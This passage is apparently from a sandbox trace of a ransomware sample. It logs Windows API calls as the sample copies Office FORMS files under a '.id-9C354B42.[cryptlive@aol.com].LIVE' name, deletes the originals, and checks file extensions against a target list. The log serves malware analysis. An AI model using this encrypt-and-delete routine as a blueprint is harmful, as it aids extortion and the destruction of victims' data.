GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico")) returned 0x20 [0156.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.852] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.852] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.853] GetLastError () returned 0x0 [0156.853] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x627e, lpOverlapped=0x0) returned 1 [0156.917] WriteFile (in: hFile=0x314, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6280, lpOverlapped=0x0) returned 1 [0156.918] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.918] WriteFile (in: hFile=0x314, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0156.918] SetEndOfFile (hFile=0x314) returned 1 [0156.919] CloseHandle (hObject=0x314) returned 1 [0156.919] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.919] SetEndOfFile (hFile=0x380) returned 1 [0156.921] CloseHandle (hObject=0x380) returned 1 [0156.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico")) returned 1 [0156.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.924] lstrlenW (lpString=".doc") returned 4 [0156.924] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.924] lstrlenW (lpString=".docx") returned 5 [0156.924] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.924] lstrlenW (lpString=".pdf") returned 4 [0156.924] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.924] lstrlenW (lpString=".xls") returned 4 [0156.924] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.924] lstrlenW (lpString=".xlsx") returned 5 [0156.924] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.924] lstrlenW (lpString=".ppt") returned 4 [0156.924] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.924] lstrlenW (lpString=".zip") returned 4 [0156.924] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.924] lstrlenW (lpString=".rar") returned 4 [0156.924] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.924] lstrlenW (lpString=".bz2") returned 4 [0156.924] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.924] lstrlenW (lpString=".7z") returned 3 [0156.924] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.924] lstrlenW (lpString=".dbf") returned 4 [0156.924] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.924] lstrlenW (lpString=".1cd") returned 4 [0156.924] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.924] lstrlenW (lpString=".jpg") returned 4 [0156.924] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.925] lstrlenW (lpString=".doc") returned 4 [0156.925] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.925] lstrlenW (lpString=".docx") returned 5 [0156.925] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.925] lstrlenW (lpString=".pdf") returned 4 [0156.925] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.925] lstrlenW (lpString=".xls") returned 4 [0156.925] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.925] lstrlenW (lpString=".xlsx") returned 5 [0156.925] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.925] lstrlenW (lpString=".ppt") returned 4 [0156.925] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.925] lstrlenW (lpString=".zip") returned 4 [0156.925] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.925] lstrlenW (lpString=".rar") returned 4 [0156.925] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.925] lstrlenW (lpString=".bz2") returned 4 [0156.925] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.925] lstrlenW (lpString=".7z") returned 3 [0156.925] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.925] lstrlenW (lpString=".dbf") returned 4 [0156.925] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.925] lstrlenW (lpString=".1cd") returned 4 [0156.925] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0156.925] lstrlenW (lpString=".jpg") returned 4 [0156.925] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.925] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.925] lstrlenW (lpString="IPMS.ICO") returned 8 [0156.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.930] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2998) returned 1 [0156.930] CloseHandle (hObject=0x1b8) returned 1 [0156.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico")) returned 0x20 [0156.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.942] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.942] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.943] GetLastError () returned 0x0 [0156.943] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0156.945] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0156.946] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.946] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0156.946] SetEndOfFile (hFile=0x3a0) returned 1 [0156.946] CloseHandle (hObject=0x3a0) returned 1 [0156.946] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.946] SetEndOfFile (hFile=0x1fc) returned 1 [0156.949] CloseHandle (hObject=0x1fc) returned 1 [0156.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico")) returned 1 [0156.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.951] lstrlenW (lpString=".doc") returned 4 [0156.951] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.951] lstrlenW (lpString=".docx") returned 5 [0156.951] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.951] lstrlenW (lpString=".pdf") returned 4 [0156.951] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.951] lstrlenW (lpString=".xls") returned 4 [0156.951] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.951] lstrlenW (lpString=".xlsx") returned 5 [0156.951] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.951] lstrlenW (lpString=".ppt") returned 4 [0156.951] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.951] lstrlenW (lpString=".zip") returned 4 [0156.951] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.951] lstrlenW (lpString=".rar") returned 4 [0156.951] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.951] lstrlenW (lpString=".bz2") returned 4 [0156.952] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.952] lstrlenW (lpString=".7z") returned 3 [0156.952] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.952] lstrlenW (lpString=".dbf") returned 4 [0156.952] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.952] lstrlenW (lpString=".1cd") returned 4 [0156.952] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.952] lstrlenW (lpString=".jpg") returned 4 [0156.952] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.952] lstrlenW (lpString=".doc") returned 4 [0156.952] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.952] lstrlenW (lpString=".docx") returned 5 [0156.952] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.952] lstrlenW (lpString=".pdf") returned 4 [0156.952] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.952] lstrlenW (lpString=".xls") returned 4 [0156.952] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.952] lstrlenW (lpString=".xlsx") returned 5 [0156.952] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.952] lstrlenW (lpString=".ppt") returned 4 [0156.952] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.952] lstrlenW (lpString=".zip") returned 4 [0156.952] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.952] lstrlenW (lpString=".rar") returned 4 [0156.952] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.952] lstrlenW (lpString=".bz2") returned 4 [0156.952] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.952] lstrlenW (lpString=".7z") returned 3 [0156.953] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.953] lstrlenW (lpString=".dbf") returned 4 [0156.953] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.953] lstrlenW (lpString=".1cd") returned 4 [0156.953] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0156.953] lstrlenW (lpString=".jpg") returned 4 [0156.953] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.953] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.953] lstrlenW (lpString="MMSL.ICO") returned 8 [0156.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.954] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=10134) returned 1 [0156.954] CloseHandle (hObject=0x1fc) returned 1 [0156.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico")) returned 0x20 [0156.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.955] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.955] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.956] GetLastError () returned 0x0 [0156.956] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x2796, lpOverlapped=0x0) returned 1 [0157.477] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x27a0, lpOverlapped=0x0) returned 1 [0157.478] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.478] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0157.478] SetEndOfFile (hFile=0x3a0) returned 1 [0157.478] CloseHandle (hObject=0x3a0) returned 1 [0157.479] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.479] SetEndOfFile (hFile=0x1fc) returned 1 [0158.406] CloseHandle (hObject=0x1fc) returned 1 [0158.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico")) returned 1 [0158.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.493] lstrlenW (lpString=".doc") returned 4 [0158.493] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.493] lstrlenW (lpString=".docx") returned 5 [0158.493] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0158.493] lstrlenW (lpString=".pdf") returned 4 [0158.493] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.493] lstrlenW (lpString=".xls") returned 4 [0158.493] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.493] lstrlenW (lpString=".xlsx") returned 5 [0158.493] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0158.493] lstrlenW (lpString=".ppt") returned 4 [0158.493] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.493] lstrlenW (lpString=".zip") returned 4 [0158.493] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.493] lstrlenW (lpString=".rar") returned 4 [0158.493] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.493] lstrlenW (lpString=".bz2") returned 4 [0158.493] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.493] lstrlenW (lpString=".7z") returned 3 [0158.493] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.493] lstrlenW (lpString=".dbf") returned 4 [0158.493] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.493] lstrlenW (lpString=".1cd") returned 4 [0158.493] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.493] lstrlenW (lpString=".jpg") returned 4 [0158.493] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.494] lstrlenW (lpString=".doc") returned 4 [0158.494] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.494] lstrlenW (lpString=".docx") returned 5 [0158.494] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0158.494] lstrlenW (lpString=".pdf") returned 4 [0158.494] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.494] lstrlenW (lpString=".xls") returned 4 [0158.494] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.494] lstrlenW (lpString=".xlsx") returned 5 [0158.494] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0158.494] lstrlenW (lpString=".ppt") returned 4 [0158.494] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.494] lstrlenW (lpString=".zip") returned 4 [0158.494] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.494] lstrlenW (lpString=".rar") returned 4 [0158.494] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.494] lstrlenW (lpString=".bz2") returned 4 [0158.494] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.494] lstrlenW (lpString=".7z") returned 3 [0158.494] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.494] lstrlenW (lpString=".dbf") returned 4 [0158.494] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.494] lstrlenW (lpString=".1cd") returned 4 [0158.494] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0158.494] lstrlenW (lpString=".jpg") returned 4 [0158.494] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.494] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0158.495] lstrlenW (lpString="POSTIT.CFG") returned 10 [0158.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0158.519] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=777) returned 1 [0158.520] CloseHandle (hObject=0x3b8) returned 1 [0158.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg")) returned 0x20 [0158.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 